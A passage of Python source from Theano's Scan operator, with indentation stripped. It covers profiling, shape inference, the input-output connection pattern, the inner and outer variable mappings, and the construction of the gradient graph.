# certain outputs (those with multiple taps),
# outs[idx][0] has more than n_steps entries, with the
# initial state at the begining. When indexing in it I
# usually have to do something like
# outs[idx][0][i+offset]. To do something similar here,
# I would have first to compute the maximal tap for
# every output and then do outs[0][:i+maximal_tap],
# which implies I think more computations then this
# little trick that I used
outs[idx][0] = outs[idx][0][:-(n_steps - i)]
# We never reuse the input or output storage of the
# inner function so we clear it.
for i_s in input_storage:
i_s.storage[0] = None
for o_s in output_storage:
o_s.storage[0] = None
t_call = time.time() - t0_call
# NOTE: make this match what's in function_module.Function
# and this little string helps us to find this spot:
# "PROFILE_CODE"
if hasattr(self.fn.maker, 'profile') and self.fn.maker.profile:
profile = self.fn.maker.profile
profile.callcount += 1
profile.nbsteps += n_steps
profile.call_time += t_call
profile.vm_call_time += t_fn
if hasattr(self.fn.fn, 'update_profile'):
self.fn.fn.update_profile(profile)
#/* Old ProfileMode
# if hasattr(self.fn.maker.mode,'fct_call_time'):
# self.fn.maker.mode.fct_call_time[self.fn] += t_fn
# self.fn.maker.mode.fct_call[self.fn] += n_steps
#self.fn.maker.mode.call_time += t_fn
#self.fn.maker.mode.fn_time += t_fn
# Old Profile Mode */
self.t_call = t_call
self.t_fn = t_fn
# Infer Shape
def infer_shape(self, node, input_shapes):
# input_shapes correspond to the shapes of node.inputs
# Here, we build a list inner_ins_shape, such that inner_ins_shape[i]
# is the shape of self.inputs[i]
for inp, inp_shp in izip(node.inputs, input_shapes):
assert inp_shp is None or len(inp_shp) == inp.type.ndim
# sequences
# We skip iputs_shapes[0] as it is the total or current number
# of iterations.
seqs_shape = [x[1:] for x in input_shapes[1:1 + self.n_seqs]]
# mit_mot, mit_sot, sit_sot
n_outs = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
outs_shape = []
for idx in xrange(n_outs):
for k in self.tap_array[idx]:
outs_shape += [input_shapes[idx + self.n_seqs + 1][1:]]
# shared_outs
offset = 1 + self.n_seqs + n_outs
for idx in xrange(self.n_shared_outs):
outs_shape += [input_shapes[idx + offset]]
# non_sequences
offset += self.n_nit_sot + self.n_shared_outs
inner_ins_shapes = seqs_shape + outs_shape + input_shapes[offset:]
assert len(inner_ins_shapes) == len(self.inputs)
# Non-sequences have a direct equivalent from self.inputs in
# node.inputs
inner_non_sequences = self.inputs[len(seqs_shape) + len(outs_shape):]
out_equivalent = OrderedDict()
for in_ns, out_ns in izip(inner_non_sequences, node.inputs[offset:]):
out_equivalent[in_ns] = out_ns
if self.as_while:
self_outs = self.outputs[:-1]
else:
self_outs = self.outputs
outs_shape = scan_utils.infer_shape(
outs=self_outs,
inputs=self.inputs,
input_shapes=inner_ins_shapes)
# Will be used to check if outs_shape can be expressed without using
# variables in self.inputs.
# The shapes of node.inputs are valid.
validator = scan_utils.Validator(
valid=input_shapes,
invalid=self.inputs,
valid_equivalent=out_equivalent)
offset = 1 + self.n_seqs
scan_outs = [x for x in input_shapes[offset:offset + n_outs]]
offset += n_outs
outs_shape_n = self.n_mit_mot_outs + self.n_mit_sot + self.n_sit_sot
for x in xrange(self.n_nit_sot):
out_shape_x = outs_shape[outs_shape_n + x]
if out_shape_x is None:
# This output is not a tensor, and has no shape
scan_outs.append(None)
else:
# We need to make sure that we can compute the shapes from
# node.inputs, and constants, without using the variables
# in the inner function.
r = node.outputs[n_outs + x]
assert r.ndim == 1 + len(out_shape_x)
shp = [node.inputs[offset + self.n_shared_outs + x]]
for i, shp_i in izip(xrange(1, r.ndim), out_shape_x):
# Validate shp_i. v_shape_i is either None (if invalid),
# or a (variable, Boolean) tuple. The Boolean indicates
# whether variable is shp_i (if True), or an valid
# equivalent (if False). Here, we only need the variable.
v_shp_i = validator.check(shp_i)
if v_shp_i is None:
if hasattr(r, 'broadcastable') and r.broadcastable[i]:
shp.append(1)
else:
shp.append(Shape_i(i)(r))
else:
# It can (or at least, an equivalent variable can)
shp.append(v_shp_i[0])
scan_outs.append(tuple(shp))
scan_outs += [x for x in
input_shapes[offset:offset + self.n_shared_outs]]
# if we are dealing with a repeat-until, then we do not know the
# leading dimension so we replace it for every entry with Shape_i
if self.as_while:
scan_outs_init = scan_outs
scan_outs = []
for o, x in izip(node.outputs, scan_outs_init):
if x is None:
scan_outs.append(None)
else:
scan_outs.append((Shape_i(0)(o),) + x[1:])
return scan_outs
def connection_pattern(self, node):
# We cache the result of this function because, with a previous
# implementation that repeatedly called grad, there were cases
# where calls to theano.grad() took as much as 4h for functions
# containing many nested scans.
if hasattr(node.tag, 'connection_pattern'):
return node.tag.connection_pattern
# Obtain the connection pattern of the inner function.
inner_connect_pattern = io_connection_pattern(self.inputs, self.outputs)
# Initially assume no outer input is connected to any outer output
connection_pattern = [[False for output in node.outputs]
for x in node.inputs]
# For every possible pair of outer input and outer output, iterate
# over every possible pairing of their corresponding inner inputs
# and inner outputs and, if one such pair of inner variables is
# connected than the pair of outer variables is connected.
for outer_oidx in xrange(len(node.outputs)):
inner_oidxs = self.var_mappings['inner_out_from_outer_out'][outer_oidx]
for outer_iidx in xrange(len(node.inputs)):
inner_iidxs = self.var_mappings['inner_inp_from_outer_inp'][outer_iidx]
for inner_oidx in inner_oidxs:
for inner_iidx in inner_iidxs:
if inner_connect_pattern[inner_iidx][inner_oidx]:
connection_pattern[outer_iidx][outer_oidx] = True
break
if connection_pattern[outer_iidx][outer_oidx]:
break
# Applying Floyd-Warshall to find all paths connecting inputs to
# outputs. Note that if `x` is an input to `y_t` and `y_tm1` is an
# input to `z_t` then `x` is an input to `z_t`.
n_outs = len(node.outputs)
for steps in xrange(n_outs):
for iidx in xrange(n_outs):
for jidx in xrange(n_outs):
# Get the idx of the outer input corresponding to that
# outer output
j_inp_idx = self.var_mappings["outer_inp_from_outer_out"][jidx]
if j_inp_idx != -1:
if connection_pattern[j_inp_idx][iidx] == True:
for k in xrange(len(connection_pattern)):
if connection_pattern[k][jidx]:
connection_pattern[k][iidx] = True
node.tag.connection_pattern = connection_pattern
return connection_pattern
def get_oinp_iinp_iout_oout_mappings(self):
""" Compute and return dictionary mappings between the inputs and
outputs of the inner function and the inputs and outputs of the Scan
node in the outer graph.
The return value is a dictionary in which the keys are the names of
the individual mappings and the values are the mapping dictionaries
themselves. In dictionaries representing mappings to outer variables,
the values are individual integer indices. In dictionaries
representing mappings to inner variables, the values are sequences of
indices because multiple inner variables can be associated with the
same state
"""
# Lists for outer variables contain individual indices, lists for
# inner variables contain sequences of indices because many inner
# variables can be associated with the same outer variable. The list
# and indices are initialized already containing the data associated
# with the timestep index, the first outer input.
outer_input_indices = [0]
inner_input_indices = [[]]
inner_output_indices = [[]]
outer_output_indices = [-1]
outer_iidx = 1
inner_iidx = 0
inner_oidx = 0
outer_oidx = 0
# Handle sequences inputs
for i in xrange(self.info['n_seqs']):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([inner_iidx])
inner_output_indices.append([])
outer_output_indices.append(-1)
outer_iidx += 1
inner_iidx += 1
inner_oidx += 0
outer_oidx += 0
# Handle mitmots, mitsots and sitsots variables
for i in xrange(len(self.info['tap_array'])):
nb_input_taps = len(self.info['tap_array'][i])
if i < self.n_mit_mot:
nb_output_taps = len(self.mit_mot_out_slices[i])
else:
nb_output_taps = 1
outer_input_indices.append(outer_iidx)
inner_input_indices.append(list(range(inner_iidx,
inner_iidx + nb_input_taps)))
inner_output_indices.append(list(range(inner_oidx,
inner_oidx + nb_output_taps)))
outer_output_indices.append(outer_oidx)
outer_iidx += 1
inner_iidx += nb_input_taps
inner_oidx += nb_output_taps
outer_oidx += 1
# This is needed because, for outer inputs (and for outer inputs only)
# nitsots come *after* shared variables.
outer_iidx += self.info['n_shared_outs']
# Handle nitsots variables
for i in xrange(self.n_nit_sot):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([])
inner_output_indices.append([inner_oidx])
outer_output_indices.append(outer_oidx)
outer_iidx += 1
inner_iidx += 0
inner_oidx += 1
outer_oidx += 1
# This is needed because, for outer inputs (and for outer inputs only)
# nitsots come *after* shared variables.
outer_iidx -= (self.info['n_shared_outs'] + self.n_nit_sot)
# Handle shared states
for i in xrange(self.info['n_shared_outs']):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([inner_iidx])
inner_output_indices.append([inner_oidx])
outer_output_indices.append(outer_oidx)
outer_iidx += 1
inner_iidx += 1
inner_oidx += 1
outer_oidx += 1
# This is needed because, for outer inputs (and for outer inputs only)
# nitsots come *after* shared variables.
outer_iidx += self.n_nit_sot
# Handle non-sequence inputs
# Note : the number of non-sequence inputs is not stored in self.info
# so it has to be inferred from the number of inner inputs that remain
# to be handled
for i in xrange(len(self.inputs) - inner_iidx):
outer_input_indices.append(outer_iidx)
inner_input_indices.append([inner_iidx])
inner_output_indices.append([])
outer_output_indices.append(-1)
outer_iidx += 1
inner_iidx += 1
inner_oidx += 0
outer_oidx += 0
# With the global mapping inferred, the individual mappings
# can be produced
mappings = {"outer_inp_from_outer_out" : {},
"inner_inp_from_outer_out" : {},
"inner_out_from_outer_out" : {},
"inner_inp_from_outer_inp" : {},
"inner_out_from_outer_inp" : {},
"outer_out_from_outer_inp" : {},
"outer_inp_from_inner_inp" : {},
"inner_out_from_inner_inp" : {},
"outer_out_from_inner_inp" : {},
"outer_inp_from_inner_out" : {},
"inner_inp_from_inner_out" : {},
"outer_out_from_inner_out" : {}}
for (oinp, iinp, iout, oout) in izip(outer_input_indices,
inner_input_indices,
inner_output_indices,
outer_output_indices):
if oout != -1:
mappings["outer_inp_from_outer_out"][oout] = oinp
mappings["inner_inp_from_outer_out"][oout] = iinp
mappings["inner_out_from_outer_out"][oout] = iout
if oinp != -1:
mappings["inner_inp_from_outer_inp"][oinp] = iinp
mappings["inner_out_from_outer_inp"][oinp] = iout
mappings["outer_out_from_outer_inp"][oinp] = oout
for idx in iinp:
mappings["outer_inp_from_inner_inp"][idx] = oinp
mappings["inner_out_from_inner_inp"][idx] = iout
mappings["outer_out_from_inner_inp"][idx] = oout
for idx in iout:
mappings["outer_inp_from_inner_out"][idx] = oinp
mappings["inner_inp_from_inner_out"][idx] = iinp
mappings["outer_out_from_inner_out"][idx] = oout
return mappings
# GRAD FUNCTION
def grad(self, inputs, dC_douts):
outs = self(*inputs)
if not isinstance(outs, (list, tuple)):
outs = [outs]
# `grad_step` equals the number of steps the original scan node has
# done (if the original scan is a while loop than this number is the
# length of the output sequence)
# We do not know what kind of outputs the original scan has, so we
# try first to see if it has a nit_sot output, then a sit_sot and
# then a mit_sot
if self.n_nit_sot > 0:
grad_steps = self.outer_nitsot_outs(outs)[0].shape[0]
elif self.n_sit_sot > 0:
grad_steps = self.outer_sitsot_outs(outs)[0].shape[0] - 1
elif self.n_mit_sot > 0:
grad_steps = self.outer_mitsot_outs(outs)[0].shape[0] +\
self.mintaps[self.n_mit_mot]
else:
grad_steps = inputs[0]
# Restrict the number of grad steps according to
# self.truncate_gradient
if self.truncate_gradient != -1:
grad_steps = tensor.minimum(grad_steps, self.truncate_gradient)
rval = scan_utils.reconstruct_graph(self.inputs,
self.outputs)
self_inputs = rval[0]
self_outputs = rval[1]
# differentiable inputs
diff_inputs = (self.inner_seqs(self_inputs) +
self.inner_mitmot(self_inputs) +
self.inner_mitsot(self_inputs) +
self.inner_sitsot(self_inputs) +
self.inner_non_seqs(self_inputs))
diff_outputs = (self.inner_mitmot_outs(self_outputs) +
self.inner_mitsot_outs(self_outputs) +
self.inner_sitsot_outs(self_outputs) +
self.inner_nitsot_outs(self_outputs))
scan_node = outs[0].owner
connection_pattern = self.connection_pattern(scan_node)
def get_inp_idx(iidx):
if iidx < self.n_seqs:
return 1 + iidx
oidx = 1 + self.n_seqs
iidx = iidx - self.n_seqs
for taps in self.mitmot_taps():
if len(taps) > iidx:
return oidx
else:
oidx += 1
iidx -= len(taps)
for taps in self.mitsot_taps():
if len(taps) > iidx:
return oidx
else:
oidx += 1
iidx -= len(taps)
if iidx < self.info['n_sit_sot']:
return oidx + iidx
else:
return oidx + iidx + self.info['n_nit_sot']
def get_out_idx(iidx):
oidx = 0
for taps in self.mitmot_out_taps():
if len(taps) > iidx:
return oidx
else:
oidx += 1
iidx -= len(taps)
return oidx + iidx
def compute_gradient(y, g_y):
if 'int' in str(g_y.dtype):
raise TypeError("Gradients may never be integers but g_y "
"has type " + str(g_y.type))
odx = get_out_idx(self_outputs.index(y))
wrt = [x for x in theano.gof.graph.inputs([y])
if (x in diff_inputs) and
(connection_pattern[
get_inp_idx(self_inputs.index(x))][odx])]
gmp = OrderedDict()
for x in wrt:
try:
gmp[x] = gradient.grad(
cost=None,
known_grads={y: g_y},
wrt=x,
consider_constant=wrt,
disconnected_inputs='ignore',
return_disconnected='None')
except gradient.NullTypeGradError as e:
# The gradient wrt that particular input is undefined.
# This is not necessarily an issue, because maybe that
# particular input is not in the path between the
# "cost" and "wrt" of the external, initial call to grad().
# We simply return a Null gradient, forwarding the message.
gmp[x] = NullType((
"This variable is Null because the grad method on the "
"inner graph of the Scan node %s returned Null for "
"the corresponding inner input variable. The original "
"message was: %s"
% (str(self), exc_message(e))))()
rval = [gmp.get(p, None) for p in diff_inputs]
return rval
dC_dinps_t = [None for inp in diff_inputs]
disconnected_dC_dinps_t = [True for inp in diff_inputs]
dC_dXts = []
Xts = []
for idx, Xt in enumerate(diff_outputs):
# We are looking for x[t-1] for a given x[t]
if idx >= self.n_mit_mot_outs:
Xt_placeholder = safe_new(Xt)
Xts.append(Xt_placeholder)
# Different processing based on whether Xt is a nitsot output
# or not. NOTE : This cannot be done by using
# "if Xt not in self.inner_nitsot_outs(self_outputs)" because
# the exact same variable can be used as multiple outputs.
idx_nitsot_start = (self.info['n_mit_mot'] +
self.info['n_mit_sot'] +
self.info['n_sit_sot'])
idx_nitsot_end = idx_nitsot_start + self.info['n_nit_sot']
if idx < idx_nitsot_start or idx >= idx_nitsot_end:
# What we do here is loop through dC_douts and collect all
# those that are connected to the specific one and do an
# upcast on all of their dtypes to get the dtype for this
# specific output. Deciding if the gradient with this
# specific previous step is defined or not is done somewhere
# else.
dtypes = []
states = (self.inner_mitmot(self_inputs) +
self.inner_mitsot(self_inputs) +
self.inner_sitsot(self_inputs))
for pos, inp in enumerate(states):
if inp in theano.gof.graph.inputs([Xt]):
# Get the index of the outer output that to which
# the state variable 'inp' corresponds.
outer_oidx = self.var_mappings['outer_out_from_inner_inp'][self.n_seqs +
pos]
if not isinstance(dC_douts[outer_oidx].type,
DisconnectedType):
dtypes.append(dC_douts[outer_oidx].dtype)
if dtypes:
new_dtype = theano.scalar.upcast(*dtypes)
else:
new_dtype = theano.config.floatX
dC_dXt = safe_new(Xt, dtype=new_dtype)
else:
if isinstance(dC_douts[idx].type, DisconnectedType):
continue
dC_dXt = safe_new(dC_douts[idx][0])
dC_dXts.append(dC_dXt)
_dC_dinps_t = compute_gradient(Xt, dC_dXt)
for jdx in xrange(len(_dC_dinps_t)):
if dC_dinps_t[jdx] is None:
dC_dinps_t[jdx] = _dC_dinps_t[jdx]
elif isinstance(dC_dinps_t[jdx].type, NullType):
# The accumulated gradient is undefined
pass
elif _dC_dinps_t[jdx]:
if isinstance(_dC_dinps_t[jdx].type, NullType):
# The accumulated gradient is defined, but the new
# term is undefined. The whole thing has to be undefined.
dC_dinps_t[jdx] = _dC_dinps_t[jdx]
else:
dC_dinps_t[jdx] += _dC_dinps_t[jdx]
# mask inputs that get no gradients
for dx in xrange(len(dC_dinps_t)):
if not dC_dinps_t[dx]:
dC_dinps_t[dx] = tensor.zeros_like(diff_inputs[dx])
else:
disconnected_dC_dinps_t[dx] = False
for Xt, Xt_placeholder in zip(
diff_outputs[self.n_mit_mot_outs:],
Xts):
tmp = forced_replace(
dC_dinps_t[dx],
Xt,
Xt_placeholder)
dC_dinps_t[dx] = tmp
# construct dX_dtm1
dC_dXtm1s = []
for pos, x in enumerate(dC_dinps_t[self.n_seqs:]):
# Get the index of the first inner input corresponding to the
# pos-ieth inner input state
idxs = self.var_mappings['inner_out_from_inner_inp'][self.n_seqs +
pos]
# Check if the pos-th input is associated with one of the
# recurrent states
x_is_state = pos < sum([len(t) for t in self.tap_array])
if x_is_state and len(idxs) > 0:
opos = idxs[0]
dC_dXtm1s.append(safe_new(dC_dXts[opos]))
if hasattr(x, 'dtype') and x.dtype != dC_dXts[opos].dtype:
dC_dinps_t[pos + self.n_seqs] = \
x.astype(dC_dXts[opos].dtype)
else:
dC_dXtm1s.append(safe_new(x))
for dx, dC_dXtm1 in enumerate(dC_dXtm1s):
if isinstance(dC_dinps_t[dx + self.n_seqs].type, NullType):
# The accumulated gradient is undefined
pass
elif isinstance(dC_dXtm1.type, NullType):
# The new gradient is undefined, this makes the accumulated
# gradient undefined as weell
dC_dinps_t[dx + self.n_seqs] = dC_dXtm1
else:
dC_dinps_t[dx + self.n_seqs] += dC_dXtm1
# Construct scan op
# Seqs
outer_inp_seqs = [x[::-1] for x in inputs[1:1 + self.n_seqs]]
for idx in xrange(self.n_mit_mot + self.n_mit_sot):
mintap = numpy.min(self.tap_array[idx])
maxtap = numpy.max(self.tap_array[idx])
if idx < self.n_mit_mot:
outmaxtap = numpy.max(self.mitmot_out_taps()[idx])
else:
outmaxtap = 0
seq = outs[idx]
for k in self.tap_array[idx]:
if outmaxtap - k != 0:
nw_seq = seq[k - mintap: -(outmaxtap-k)][::-1]
else:
nw_seq = seq[k - mintap:][::-1]
outer_inp_seqs.append(nw_seq)
outer_inp_seqs += [
x[:-1][::-1] for x in self.outer_sitsot_outs(outs)]
for x in self.outer_nitsot_outs(dC_douts):
if not isinstance(x.type, DisconnectedType):
outer_inp_seqs.append(x[::-1])
if hasattr(inputs[0].tag, 'test_value'):
# Here we tests that the new scan input sequence all have
# the same shape[0]. This is a properties that the scan()
# fct add and we want to keep it for all Scan op. This is
# used in T_Scan.test_grad_multiple_outs_taps to test
# that.
for taps, x in zip(self.mitsot_taps(),
self.outer_mitsot_outs(outs)):
mintap = numpy.min(taps)
if hasattr(x[::-1][:mintap], 'test_value'):
assert (x[::-1][:mintap].tag.test_value.shape[0] ==
inputs[0].tag.test_value)
for x in self.outer_sitsot_outs(outs):
if hasattr(x[::-1][:-1].tag, 'test_value'):
assert (x[::-1][:-1].tag.test_value.shape[0] ==
inputs[0].tag.test_value)
for x in self.outer_nitsot_outs(outs):
if hasattr(x[::-1].tag, 'test_value'):
assert (x[::-1].tag.test_value.shape[0] ==
inputs[0].tag.test_value)
outer_inp_seqs += [x[::-1][:numpy.min(taps)]
for taps, x in zip(self.mitsot_taps(),
self.outer_mitsot_outs(outs))]
outer_inp_seqs += [x[::-1][:-1] for x in self.outer_sitsot_outs(outs)]
outer_inp_seqs += [x[::-1] for x in self.outer_nitsot_outs(outs)]
# Restrict the length of the outer sequences to the number of grad
# steps
outer_inp_seqs = [seq[:grad_steps] for seq in outer_inp_seqs]
inner_inp_seqs = self.inner_seqs(self_inputs)
inner_inp_seqs += self.inner_mitmot(self_inputs)
inner_inp_seqs += self.inner_mitsot(self_inputs)
inner_inp_seqs += self.inner_sitsot(self_inputs)
inner_inp_seqs += self.inner_nitsot_outs(dC_dXts)
inner_inp_seqs += Xts
# mitmot
outer_inp_mitmot = []
outer_out_mitmot = []
inner_inp_mitmot = []
inner_out_mitmot = []
mitmot_inp_taps = []
mitmot_out_taps = []
type_outs = []
out_pos = 0
ins_pos = self.n_seqs
n_mitmot_outs = 0
n_mitmot_inps = 0
for idx in xrange(self.n_mit_mot):
if isinstance(dC_douts[idx].type, DisconnectedType):
out = outs[idx]
outer_inp_mitmot.append(tensor.zeros_like(out))
else:
outer_inp_mitmot.append(dC_douts[idx][::-1])
mitmot_inp_taps.append([])
mitmot_out_taps.append([])
undefined_msg = None
through_shared = False
disconnected = True
for jdx in xrange(len(self.mit_mot_out_slices[idx])):
inner_inp_mitmot.append(dC_dXts[out_pos])
mitmot_inp_taps[idx].append(-self.mit_mot_out_slices[idx][jdx])
n_mitmot_inps += 1
out_pos += 1
for jdx in xrange(len(self.tap_array[idx])):
inner_inp_mitmot.append(dC_dXtm1s[ins_pos - self.n_seqs])
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# We cannot use Null in the inner graph, so we
# use a zero tensor of the appropriate shape instead.
inner_out_mitmot.append(
tensor.zeros(diff_inputs[ins_pos].shape,
dtype=theano.config.floatX))
undefined_msg = dC_dinps_t[ins_pos].type.why_null
else:
inner_out_mitmot.append(dC_dinps_t[ins_pos])
if not disconnected_dC_dinps_t[ins_pos]:
disconnected = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([dC_dinps_t[ins_pos]]):
through_shared = True
n_mitmot_inps += 1
ins_pos += 1
n_mitmot_outs += 1
mitmot_inp_taps[idx].append(-self.tap_array[idx][jdx])
mitmot_out_taps[idx].append(-self.tap_array[idx][jdx])
if undefined_msg:
type_outs.append(undefined_msg)
elif through_shared:
type_outs.append('through_shared')
elif disconnected:
type_outs.append('disconnected')
else:
type_outs.append('connected')
offset = self.n_mit_mot
for idx in xrange(self.n_mit_sot):
if isinstance(dC_douts[idx + offset].type, DisconnectedType):
outer_inp_mitmot.append(outs[idx + offset].zeros_like())
else:
outer_inp_mitmot.append(dC_douts[idx + offset][::-1])
mitmot_inp_taps.append([])
mitmot_out_taps.append([])
idx_tap = idx + self.n_mit_mot
inner_inp_mitmot.append(dC_dXts[out_pos])
out_pos += 1
n_mitmot_inps += 1
undefined_msg = None
through_shared = False
disconnected = True
mitmot_inp_taps[idx + offset].append(0)
for jdx in xrange(len(self.tap_array[idx_tap])):
inner_inp_mitmot.append(dC_dXtm1s[ins_pos - self.n_seqs])
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# We cannot use Null in the inner graph, so we
# use a zero tensor of the appropriate shape instead.
inner_out_mitmot.append(
tensor.zeros(diff_inputs[ins_pos].shape,
dtype=theano.config.floatX))
undefined_msg = dC_dinps_t[ins_pos].type.why_null
else:
inner_out_mitmot.append(dC_dinps_t[ins_pos])
mitmot_inp_taps[idx + offset].append(
-self.tap_array[idx_tap][jdx])
mitmot_out_taps[idx].append(
-self.tap_array[idx_tap][jdx])
if not disconnected_dC_dinps_t[ins_pos]:
disconnected = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([dC_dinps_t[ins_pos]]):
through_shared = True
n_mitmot_inps += 1
ins_pos += 1
n_mitmot_outs += 1
if undefined_msg:
type_outs.append(undefined_msg)
elif through_shared:
type_outs.append('through_shared')
elif disconnected:
type_outs.append('disconnected')
else:
type_outs.append('connected')
offset += self.n_mit_sot
for idx in xrange(self.n_sit_sot):
mitmot_inp_taps.append([0, 1])
mitmot_out_taps.append([1])
through_shared = False
if not isinstance(dC_douts[idx + offset].type, DisconnectedType):
outer_inp_mitmot.append(dC_douts[idx + offset][::-1])
else:
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# Cannot use dC_dinps_t[ins_pos].dtype, so we use
# floatX instead, as it is a dummy value that will not
# be used anyway.
outer_inp_mitmot.append(
tensor.zeros(outs[idx + offset].shape,
dtype=theano.config.floatX))
else:
outer_inp_mitmot.append(
tensor.zeros(outs[idx + offset].shape,
dtype=dC_dinps_t[ins_pos].dtype))
if isinstance(dC_dinps_t[ins_pos].type, NullType):
# We cannot use Null in the inner graph, so we
# use a zero tensor of the appropriate shape instead.
inner_out_mitmot.append(
tensor.zeros(diff_inputs[ins_pos].shape,
dtype=theano.config.floatX))
else:
inner_out_mitmot.append(dC_dinps_t[ins_pos])
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([dC_dinps_t[ins_pos]]):
through_shared = True
if isinstance(dC_dinps_t[ins_pos].type, NullType):
type_outs.append(dC_dinps_t[ins_pos].type.why_null)
elif through_shared:
type_outs.append('through_shared')
elif disconnected_dC_dinps_t[ins_pos]:
type_outs.append('disconnected')
else:
type_outs.append('connected')
inner_inp_mitmot += [dC_dXts[out_pos],
dC_dXtm1s[ins_pos - self.n_seqs]]
n_mitmot_outs += 1
out_pos += 1
ins_pos += 1
n_mitmot_inps += 2
n_nit_sot = self.n_seqs
inner_out_nitsot = dC_dinps_t[:self.n_seqs]
inner_out_sitsot = dC_dinps_t[ins_pos:]
for _p, vl in enumerate(inner_out_sitsot):
through_shared = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([vl]):
through_shared = True
if isinstance(vl.type, NullType):
type_outs.append(vl.type.why_null)
# Replace the inner output with a zero tensor of
# the right shape
inner_out_sitsot[_p] = tensor.zeros(
diff_inputs[ins_pos + _p].shape,
dtype=theano.config.floatX)
elif through_shared:
type_outs.append('through_shared')
elif disconnected_dC_dinps_t[_p + ins_pos]:
type_outs.append('disconnected')
else:
type_outs.append('connected')
for _p, vl in enumerate(inner_out_nitsot):
through_shared = False
for _sh in self.inner_shared(self_inputs):
if _sh in gof.graph.inputs([vl]):
through_shared = True
if isinstance(vl.type, NullType):
type_outs.append(vl.type.why_null)
# Replace the inner output with a zero tensor of
# the right shape
inner_out_nitsot[_p] = tensor.zeros(
diff_inputs[_p].shape,
dtype=theano.config.floatX)
if through_shared:
type_outs.append('through_shared')
elif disconnected_dC_dinps_t[_p]:
type_outs.append('disconnected')
else:
type_outs.append('connected')
inner_inp_sitsot = dC_dXtm1s[ins_pos - self.n_seqs:]
outer_inp_sitsot = []
for _idx, y in enumerate(inner_inp_sitsot):
x = self.outer_non_seqs(inputs)[_idx]
if isinstance(y.type, NullType):
# Cannot use dC_dXtm1s.dtype, so we use floatX instead.
outer_inp_sitsot.append(
tensor.zeros([grad_steps + 1] +
[x.shape[i] for i in xrange(x.ndim)],
dtype=theano.config.floatX))
# replace y by a zero tensor of the right shape
inner_inp_sitsot[_idx] = tensor.zeros(
diff_inputs[ins_pos + _idx].shape,
dtype=theano.config.floatX)
else:
outer_inp_sitsot.append(
tensor.zeros([grad_steps + 1] +
[x.shape[i] for i in xrange(x.ndim)],
dtype=y.dtype))
n_sitsot_outs = len(outer_inp_sitsot)
new_tap_array = mitmot_inp_taps + [[-1] for k in
xrange(n_sitsot_outs)]
info = OrderedDict()
info['n_seqs'] = len(outer_inp_seqs)
info['n_mit_sot'] = 0
info['tap_array'] = new_tap_array
info['gpu'] = False
info['n_mit_mot'] = len(outer_inp_mitmot)
info['n_mit_mot_outs'] = n_mitmot_outs
info['mit_mot_out_slices'] = mitmot_out_taps
info['truncate_gradient'] = self.truncate_gradient
info['n_sit_sot'] = n_sitsot_outs
info['n_shared_outs'] = 0
info['n_nit_sot'] = n_nit_sot
info['as_while'] = False
info['profile'] = self.profile
info['destroy_map'] = OrderedDict()
if self.name:
info['name'] = 'grad_of_' + self.name
else:
info['name'] = None
info['mode'] = self.mode
info['allow_gc'] = self.allow_gc
outer_inputs = ([grad_steps] +
outer_inp_seqs +
outer_inp_mitmot +
outer_inp_sitsot +
[inputs[0] for x in xrange(n_nit_sot)] +
self.outer_shared(inputs) +
self.outer_non_seqs(inputs))
inner_other_args = self_inputs[offset:]
inner_gfn_ins = (inner_inp_seqs +
inner_inp_mitmot +
inner_inp_sitsot +
self.inner_shared(self_inputs) +
self.inner_non_seqs(self_inputs))
inner_gfn_outs = (inner_out_mitmot +
inner_out_sitsot +
inner_out_nitsot)
local_op = Scan(inner_gfn_ins, inner_gfn_outs, info)
outputs = local_op(*outer_inputs)
if type(outputs) not in (list, tuple):
outputs = [outputs]
# Re-order the gradients correctly
gradients = [DisconnectedType()()]
offset = (self.n_mit_mot +
self.n_mit_sot +
self.n_sit_sot +
n_sitsot_outs)
for p, (x, t) in enumerate(
zip(outputs[offset:offset + self.n_seqs],
type_outs[offset:offset + self.n_seqs])):
if t == 'connected':
gradients.append(x[::-1])
elif t == 'disconnected':
gradients.append(DisconnectedType()())
elif t == 'through_shared':
gradients.append(
grad_undefined(self,
p + 1,
inputs[p + 1],
'Depends on a shared variable'))
else:
# t contains the "why_null" string of a NullType
gradients.append(NullType(t)())
end = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
for p, (x, t) in enumerate(
zip(outputs[:end], type_outs[:end])):
if t == 'connected':
gradients.append(x[::-1])
elif t == 'disconnected':
gradients.append(DisconnectedType()())
elif t == 'through_shared':
gradients.append(
grad_undefined(self,
p + 1 + self.n_seqs,
inputs[p + 1 + self.n_seqs],
'Depends on a shared variable'))
else:
# t contains the "why_null" string of a NullType
gradients.append(NullType(t)())
start = len(gradients)
node = outs[0].owner
for idx in xrange(self.n_shared_outs):
disconnected = True
connected_flags = self.connection_pattern(node)[idx + start]
for dC_dout, connected in zip(dC_douts, connected_flags):
if (not isinstance(dC_dout.type, DisconnectedType) and
connected):
disconnected = False
if disconnected:
gradients.append(DisconnectedType()())
else:
gradients.append(grad_undefined(
self, idx, inputs[idx],
'Shared Variable with update'))
start = len(gradients)
gradients += [DisconnectedType()()
for x in xrange(self.n_nit_sot)]
begin = end
end = begin + n_sitsot_outs
for p, (x, t) in enumerate(
zip(outputs[begin:end], type_outs[begin:end])):
if t == 'connected':
gradients.append(x[-1])
elif t == 'disconnected':
gradients.append(DisconnectedType()())
elif t == 'through_shared':
gradients.append(
grad_undefined(self,
p + begin + 1,
inputs[p + begin + 1],
'Depends on a shared variable'))
else:
# t contains the "why_null" string of a NullType
gradients.append(NullType(t)())
# Mask disconnected gradients
# Ideally we would want to assert that the gradients we are
# replacing do indeed evaluate to 0, though that is not practical
# from a computational point of view
# The gradients of scan are computed replacing Disconnected with 0,
# because through the recurrence they can become nonzero
for idx in xrange(len(gradients)):
disconnected = True
for kdx in xrange(len(node.outputs)):
if connection_pattern[idx][kdx] and \
not isinstance(dC_douts[kdx].type, DisconnectedType):
disconnected = False
if disconnected:
gradients[idx] = DisconnectedType()()
return gradients
def R_op(self, inputs, eval_points):
# Step 0. Don't work on the orignal tensor variables
